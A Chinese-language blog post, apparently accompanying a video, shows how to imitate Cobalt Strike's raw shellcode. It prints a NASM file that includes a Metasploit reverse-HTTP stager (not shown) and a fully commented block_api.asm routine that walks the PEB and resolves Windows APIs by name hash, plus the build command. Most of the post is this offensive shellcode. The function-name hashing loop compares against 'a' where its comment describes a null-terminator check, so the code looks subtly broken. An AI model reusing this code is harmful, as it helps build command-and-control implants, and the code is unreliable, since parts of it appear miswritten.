简单模仿 CobaltStrike 的原始 ShellCode

简单模仿 CobaltStrike 的原始 ShellCode

此视频只是用来简单演示一下模仿 CobaltStrike 的原始 ShellCode。CobaltStrike 中的 ShellCode 是参照了 MSF 中的 ShellCode 源码,此示例中也是用到了 MSF 中的 ShellCode 源码,最终看 sRDI 是否成功。以下列出示例中的部分:

test.asm

[BITS 32]
    cld
    call start
%include "block_api.asm"
start:
    pop ebp
%include "block_reverse_http.asm"

block_api.asm

;-----------------------------------------------------------------------------;
; https://www.vergiliusproject.com/
;-----------------------------------------------------------------------------;
[BITS 32]
api_call:
    pushad                              ;保护现场,除了 EAX 和 ECX
    mov ebp, esp                        ;开辟栈帧
    xor edx, edx                        ;将 EDX 清零
    mov edx, [fs:edx+0x30]              ;获取 PEB 结构指针
    mov edx, [edx+0xc]                  ;获取 PEB->Ldr 结构指针
    mov edx, [edx+0x14]                 ;从 InMemoryOrderModuleList 中获取第一个模块
                                        ;模块链表 (以内存位置排序) -> _LDR_DATA_TABLE
next_mod:
    ;_LDR_DATA_TABLE_ENTRY -> 偏移 0x24 处 _UNICODE_STRING FullDllName
    ;struct _UNICODE_STRING
    ;{
    ;	USHORT Length;			// 0x0
    ;	USHORT MaximumLength;	// 0x2
    ;	WCHAR* Buffer;			// 0x4
    ;}
    mov esi, [edx+0x28]                 ;获取模块名的指针 (unicode 字符串) -> Buffer
    movzx ecx, word [edx+0x26]          ;将 ECX 设置为长度
    xor edi, edi                        ;清除 EDI,EDI 将存储模块名的哈希值
loop_modname:
    xor eax, eax                        ;清除 EAX
    lodsb                               ;读取名称的下一个字节
    cmp al, 'a'                         ;某些版本的 windows 的模块名使用小写 
    jl not_lowercase
    sub al, 0x20                        ;如果是,刚标准化大写
not_lowercase:
    ror edi, 0xd                        ;将哈希值进行 ror
    add edi, eax
    dec ecx
    jnz loop_modname
    ;现在我们已经有了计算好的模块哈希值 -> EDI
    push edx                            ;储存当前模块 _LDR_DATA_TABLE_ENTRY 的指针值
    push edi                            ;储存当前模块的哈希值
    ;继续迭代导出表 EAT
    mov edx, [edx+0x10]                 ; _LDR_DATA_TABLE_ENTRY -> DllBase (偏移 0x10 处)
    mov eax, [edx+0x3c]                 ;获取 PE 头,IMAGE_DOS_HEADER -> e_lfanew (0x3c)
    add eax, edx                        ;此时 EAX 为模块真正 PE 头
    mov eax, [eax+0x78]                 ;获取导出表 RVA,偏移 0x78
                                        ;NT 头前两个成员 (特征和文件头) 占 0x4 + 0x14 = 0x18 字节
                                        ;NT 头中最后一个成员可选头中前 30 个字段占 0x60 字节
    test eax, eax                       ;如果不存在导出表
    jz get_next_mod1                    ;则获取下一个模块
    add eax, edx                        ;当前模块的 EAT 的 RVA 与模块基地址相加
    push eax                            ;存储 EAT
    mov ecx, [eax+0x18]                 ;获取 EAT 中函数数量,EAT 结构中偏移 0x18 处
    mov ebx, [eax+0x20]                 ;获取函数名的 RVA
    add ebx, edx                        ;与模块基地址相加,EBX = 函数 RVA + 模块基地址
                                        ;得到函数地址,存储在 EBX 中
    ;计算模块哈希和函数名哈希
get_next_func:
    test ecx, ecx                       ;从 jecxz 更改为适应下面随机 jmps 产生的较大偏移量
    jz get_next_mod                     ;如果 EAT 函数名数量没有,则处理下一个模块
    dec ecx                             ;函数数量自减
    mov esi, [ebx+ecx*4]                ;获取下一个模块的 RVA
    add esi, edx                        ;与模块基地址相加,ESI = 模块 RVA + 模块基地址
                                        ;即下一个模块的地址
    xor edi, edi                        ;将 EDI 清零,准备用来存储函数名哈希
    ;与我们想要的那个进行比较
loop_funcname:
    xor eax, eax                        ;将 EAX 清零
    lodsb                               ;读取函数名 ASCII 的下一个字节 
    ror edi, 0xd                        ;将哈希值进行 ror
    add edi, eax                        ;与下一个字节相加
    cmp al, 'a'                         ;将 AL (名称的下一个字节) 与 AH (null) 进行比较
    jne loop_funcname                   ;如果还没有到达空终止符,继续
    add edi, [ebp-8]                    ;将当前模块哈希与函数哈希相加
    cmp edi, [ebp+0x24]                 ;将哈希值与我们要搜索的哈希值进行比较
    jnz get_next_func                   ;如果没有找到,就去计算下一个函数哈希
    ;如果找到,则修复堆栈,调用函数,然后计算下一个值......
    pop eax                             ;恢复当前模块的 EAT
    mov ebx, [eax+0x24]                 ;获取 ordinal table 的 RVA
    add ebx, edx                        ;与模块基地址相加
    mov cx, [ebx+ecx*2]                 ;获取所需的函数序号
    mov ebx, [eax+0x1c]                 ;获取函数地址表的 RVA
    add ebx, edx                        ;与模块基地址相加
    mov eax, [ebx+ecx*4]                ;获取所需函数的 RVA
    add eax, edx                        ;与模块基地址相加
    ;现在修复堆栈并执行对所需函数调用......
finish:
    mov [esp+0x24], eax                 ;使用所需的 API 地址覆盖旧的 EAX 值
    pop ebx                             ;清除当前模块哈希
    pop ebx                             ;清除模块列表中的当前位置
    popad                               ;恢复所有被破坏的调用寄存器,除 EAX、ECX 和 EDX 外
    pop ECX                             ;恢复
    pop EDX                             ;恢复
    push ECX                            ;push 正确的返回值
    jmp eax                             ;跳转到所需的函数那边
    ;现在能返回到正确的调用处
get_next_mod:
    pop eax
get_next_mod1:
    pop EDI                             ;与第 39 行对应
    pop edx                             ;与第 38 行对应
    mov edx, [edx]                      ;获取下一个模块
    jmp next_mod

汇编使用的是 NASM 汇编,通过查看 MSF 中编译 ShellCode 的脚本,编译命令如下:

nasm -f bin -O3 -o xxxxxxx.bin xxxxxxx.asm
© 版权声明
THE END
喜欢就支持一下吧
点赞10赞赏 分享
评论 抢沙发

请登录后发表评论